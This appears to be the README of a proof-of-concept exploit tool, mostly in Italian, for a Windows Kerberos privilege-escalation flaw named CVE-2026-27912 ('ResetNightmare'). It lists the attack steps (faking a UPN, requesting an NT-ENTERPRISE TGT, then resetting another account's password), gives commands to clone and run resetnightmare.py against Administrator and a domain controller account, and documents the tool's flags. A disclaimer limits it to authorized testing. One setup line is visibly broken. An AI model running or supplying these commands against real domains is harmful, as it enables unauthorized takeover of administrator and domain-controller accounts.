
PoC per CVE-2026-27912 - Elevazione dei privilegi di Windows Kerberos (ResetNightmare). Reimpostazione della password non autorizzata tramite un difetto di Kerberos. Solo per ricerca sulla sicurezza.
CVE-2026-27912 - Vulnerabilità di elevazione dei privilegi in Windows Kerberos
ResetNightmare - Reimpostazione non autorizzata della password tramite un difetto del protocollo Kerberos Change Password.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-27912 |
| Titolo | Vulnerabilità di elevazione dei privilegi in Windows Kerberos |
| CVSS | 8.0 HIGH (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-285: Autorizzazione impropria |
| Pubblicazione | 14 aprile 2026 |
| Patch | aprile 2026 |
1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success
Install-WindowsFeature RSAT-AD-PowerShell)# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912
# Install dependencies
pip install -r requirements.txt
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass
python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c
python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v
Solo per test di sicurezza autorizzati e ricerca educativa.
L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software.
n0vax1337 / Ricercatore di sicurezza
Licenza MIT - vedi LICENSE
Ultimo aggiornamento: 2026
| Flag | Descrizione | Predefinito |
|---|
-t / --target | Nome dell'account di destinazione | obbligatorio |
-p / --new-password | Nuova password per l'account di destinazione | obbligatorio |
-u / --upn-user | Account su cui impostare il falso UPN | obbligatorio |
-up / --upn-password | Password per l'account UPN | obbligatorio |
-c / --computer | UPNUser è un account computer | flag |
-r / --rubeus-path | Percorso di Rubeus.exe | Rubeus.exe |
-e / --encryption | Tipo di crittografia supportato | AES256 |
-path / --create-path | Percorso OU per creare il nuovo account | "" |
-d / --dc | Nome del Domain Controller | rilevamento automatico |
-v / --verbose | Output verbose | flag |